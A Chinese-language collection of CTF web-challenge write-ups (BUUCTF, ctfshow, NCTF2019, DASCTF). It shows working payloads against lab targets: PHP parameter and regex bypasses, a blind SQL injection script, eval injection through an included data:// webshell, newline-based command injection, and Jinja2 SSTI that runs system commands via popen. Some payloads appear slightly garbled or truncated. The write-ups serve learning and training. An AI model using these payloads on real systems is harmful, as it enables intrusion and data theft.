记录一:传送门
套娃
习惯性查看源码
<!--
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
简单得分析了一下 1)$_SERVER[‘QUERY_STRING’]获取查询语句,我们的b_u_p_t参数要绕过get参数中下划线的的过滤 2)b_u_p_t参数还要绕过正则匹配
根据php解析特性,查了一下,下划线可以使用‘ . ’ 或者空格或者%5f来进行绕过,正则匹配就更简单了直接换行符进行绕过 构造payload:
?b.u.p.t=23333%0a
直接访问该php文件 这里说 local access only,而且我们没有权限 习惯性查看源码,发现一堆jsfuck,放进控制台 抓包,将原来的GET请求方法改成POST方法传参Merak 发包得到该文件的源码 (记得在请求头里加这个…不然像我一样一脸懵看不到源码)
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
简单分析: 1)Ip地址要求是127.0.0.1,刚开始我是直接构造x-forward-for为127.0.0.1的,但是发现不行,看了一下其他师傅的wp才知道client-ip??不太懂这两个有什么区别,等搞明白了回来补坑 2)参数2333要等于todat is a happy day,这个简单,直接使用php伪协议 date://buuctf,today+is+a+happy+day 3)传入的file值在经过change()函数后要为flag.php,我们只需要对其进行逆运算就好,即file=ZmpdYSZmXGI= 最后的payload为:(以及在请求头上加上client-ip)
?23333=date:
得到flag
[NCTF2019]SQLi
直接给出了sql查询语句,输入1’发现被过滤掉了 其中查看robots.txt给出了列出禁用关键字的文档hint.txt 其中过滤掉的单引号可以用反斜杠来进行转义,那么第一个单引号就会和passwd的第一个单引号形成闭合,我们只需注释掉最后一个单引号即可。 例如
username=&passwd=||/**/1;%00
即sql查询语句会变成:
select * from users where username=' \' and passwd=' ||1;%00'
接下里就是直接盲注就好,找了个脚本
import requests
import time
from urllib import parse
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
flag=''
for i in range(1,100):
for j in s:
url='http://e49fa098-fff1-4f52-bdb7-5b4bc2f41126.node4.buuoj.cn:81/index.php'
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
'Origin': 'http://e49fa098-fff1-4f52-bdb7-5b4bc2f41126.node4.buuoj.cn:81',
'Referer': 'http://e49fa098-fff1-4f52-bdb7-5b4bc2f41126.node4.buuoj.cn:81/index.php'
}
print(flag+j)
data = {'passwd':"||/**/passwd/**/regexp/**/\"^{}\";{}".format(flag+j,parse.unquote('%00')),"username":"\\"}
print(data)
r = requests.post(url=url, data=data,headers=header)
if "welcome.php" in r.text:
flag +=j
print(flag)
break
test = flag
print(flag)
得到passwd,登录,得到flag
web-签到
ctfshow七夕杯的web题 查看源码,发现js对命令有长度限制 这个时候就要用到重定向符,参考:传送门
ls />m
查看m文件 使用cat命令读取文件过长,这个时候就要用上nl命令,参考:传送门
nl /*>m 访问m文件得到flag
easy_calc
ctfshow七夕杯的web题 直接看源码,代码审计
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
参入三个参数,num1,symbol,num2,三个拼接执行 然后过滤了一大堆符号,这种就是最直接的提示,没过滤哪个,就用哪个 代码执行函数使用了eval()
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
解法一: 那就找不需要括号的执行函数,php中不需要使用括号的函数php中,常见的有include、require、echo等
那就用inlcude 和使用伪协议(过滤掉了**<>**,使用data的第二种用法)
include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
POST传参测试一下
num1=include "data:&symbol=/&num2=b;base64,PD9waHAgcGhwaW5mbygpOz8+";
读取flag
num1=include "data:ctfshow&symbol=/&num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
得到flag 解法二: 利用文件包含日志文件,抓包没成功,改天再
RCEService
解法一: 利用%0A来进行绕过 提示了要使用json格式
cmd={“cmd”:“ls”}
使用cat命令发现被过滤掉了,那就可以使用%0A来进行截断(相当于换行执行之后的命令)
cmd={%0A"cmd":“/bin/cat …/…/…/home/rceservice/flag”%0A}
得到flag 1)为什么ls可以直接使用,cat却要用/bin/cat呢? ls可以用的原因是因为ls的二进制文件放在这个目录下
找了一下源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
putenv('PATH=/home/rceservice/jail');
设置了环境变量的PATH(导致不能使用相对路径,只能用绝对路径)不能直接使用cat的原因可能是当前的PATH下没有cat,这里也需要用绝对路径
Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用,这里我们使用/bin/cat
可以查看这个路径下有什么文件,发现flag就在该路径下
解法二: PHP利用PCRE回溯次数限制绕过某些安全限制 还没完全看懂,看懂再补
comment
发帖还得登录,已经明显提示了账户和密码,直接丢Bp爆破就行 用dirsearch扫,发现.git源码泄露
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
发现都是跳转到index.php,看来其他师傅的wp说这里的代码是不完整的
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
先放着图,明天再补
解码得到flag
DASCTF X CBCTF 2022九月挑战赛web复现
dino3d
打开是一个游戏,结束游戏的时候会跳转到check.php,抓包看一下
想必和checkCode肯定是有关系的,tm就不用多说了,时间戳,回到游戏界面f12 JS找checkCode 构造checkCode=1000000DASxCBCTF_wElc03e,md5加密 时间戳: 找个在线网站直接卡时间发包就行,反正我不行,直接上脚本呜呜呜
from hashlib import md5
import requests
import time
url = "http://node4.buuoj.cn:26177/check.php"
def getFlag():
data = {
"score": 1000000,
"checkCode": md5("1000000DASxCBCTF_wElc03e".encode()).hexdigest(),
"tm": int(time.time())
}
res = requests.post(url, data = data)
return res.text
if __name__ == '__main__':
print(getFlag())
或者这道题明显是一个接口
直接在控制台上传参就行 相关知识:
Text Reverser
将我们的输入内容进行反转,但发现它只会检测我们传过去的原生数据,不会检测那边反转好的字符串,如果我们传入反转后的即可绕过 发现被ban了,过滤掉了{{}},那就使用{% print %},注入反转后的语句,发现回显成功,并且确定是 Jinja2 模块
直接找可以利用的类,之后利用popen方法执行系统命令
{% print "".__class__.__base__.__subclasses__[132].__init__.__globals__['popen']('ls /').read()}}
使用cat命令读取文件,发现被ban了,之前做过一道关于执行命令长度限制的题目,用到了nl ,这道题切好可以用到nl命令来进行绕过
{% print "".__class__.__base__.__subclasses__[132].__init__.__globals__['popen']('nl /flag').read()}}
得到flag
|